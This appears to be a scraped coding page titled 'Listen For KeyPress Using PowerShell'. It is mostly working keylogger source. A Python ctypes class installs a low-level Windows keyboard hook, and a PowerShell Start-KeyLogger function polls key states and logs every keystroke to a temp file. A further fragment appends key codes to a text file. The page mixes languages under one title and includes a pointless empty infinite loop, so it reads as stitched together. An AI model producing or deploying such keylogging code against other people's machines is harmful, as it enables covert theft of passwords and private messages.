Listen For KeyPress Using PowerShell

import sys

from ctypes import *

from ctypes.wintypes import MSG

from ctypes.wintypes import DWORD

 

user32 = windll.user32

kernel32 = windll.kernel32

 

WH_KEYBOARD_LL = 13

WM_KEYDOWN = 0x0100

CTRL_CODE = 162

 

class KeyLogger:

 

    def __init__(self):

        self.lUser32 = user32

        self.hooked = None

 

    def installHookProc(self, pointer):

        self.hooked = self.lUser32.SetWindowsHookExA(

            WH_KEYBOARD_LL,

            pointer,

            kernel32.GetModuleHandleW(None),

            0

        )

        if not self.hooked:

            return False

        return True

 

    def uninstallHookProc(self):

        if self.hooked is None:

            return

        self.lUser32.UnhookWindowsHookEx(self.hooked)

        self.hooked = None

 

def getFPTR(fn):

    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))

    return CMPFUNC(fn)

 

def hookProc(nCode, wParam, lParam):

    if wParam is not WM_KEYDOWN:

        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

    hookedKey = chr(lParam[0])

    print("Hookedkey=" + hookedKey + ", KeyCode=" + str(lParam[0]))

    if(CTRL_CODE == int(lParam[0])):

        print("Ctrl pressed, call uninstallHook()")

        KeyLogger.uninstallHookProc()

        sys.exit(-1)

    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

 

def startKeyLog():

    msg = MSG()

    user32.GetMessageA(byref(msg), 0, 0, 0)

 

KeyLogger = KeyLogger()

pointer = getFPTR(hookProc)

if KeyLogger.installHookProc(pointer):

    print("Hook installed")

 

startKeyLog()

#requires -Version 2
function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
    <#
    .DESCRIPTION
        By accessing the Windows low-level API functions, a script can constantly
        monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
        Run the function Start-Keylogger to start logging key presses. Once you
        stop the script by pressing CTRL+C, the collected key presses are displayed
    .NOTES
    #>
    # Signatures for API Calls
    $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

    # load signatures and make members available
    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

    # create output file
    $null = New-Item -Path $Path -ItemType File -Force

    try {
        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

        # create endless loop. When user presses CTRL+C, finally-block
        # executes and shows the collected key presses
        while ($true) {
            Start-Sleep -Milliseconds 40

            # scan all ASCII codes above 8
            for ($ascii = 9; $ascii -le 254; $ascii++) {
                # get current key state
                $state = $API::GetAsyncKeyState($ascii)

                # is key pressed?
                if ($state -eq -32767) {
                    $null = [console]::CapsLock

                    # translate scan code to real code
                    $virtualKey = $API::MapVirtualKey($ascii, 3)

                    # get keyboard state for virtual keys
                    $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
                    $checkkbstate = $API::GetKeyboardState($kbstate)

                    # prepare a StringBuilder to receive input key
                    $mychar = New-Object -TypeName System.Text.StringBuilder

                    # translate virtual key
                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

                    if ($success) {
                        # add key to logger file
                        [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
                    }
                }
            }
        }
    }
    finally {
        # open logger file in Notepad
        notepad $Path
    }
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
#Start-KeyLogger

$i =0
while ($i -le 1)
{ 

}

$key = $Host.UI.RawUI.ReadKey()

if ($key.Character){ }

$key.KeyCode

#listen for keyboard press and output to text file.
$i =0
while ($i -le 1)
{
  $key = $Host.UI.RawUI.ReadKey()
  if ($key.Character){
    $key.KeyCode | out-file -FilePath C:\scripts\keystrokes.txt -Append
    #$key.Character
  }
}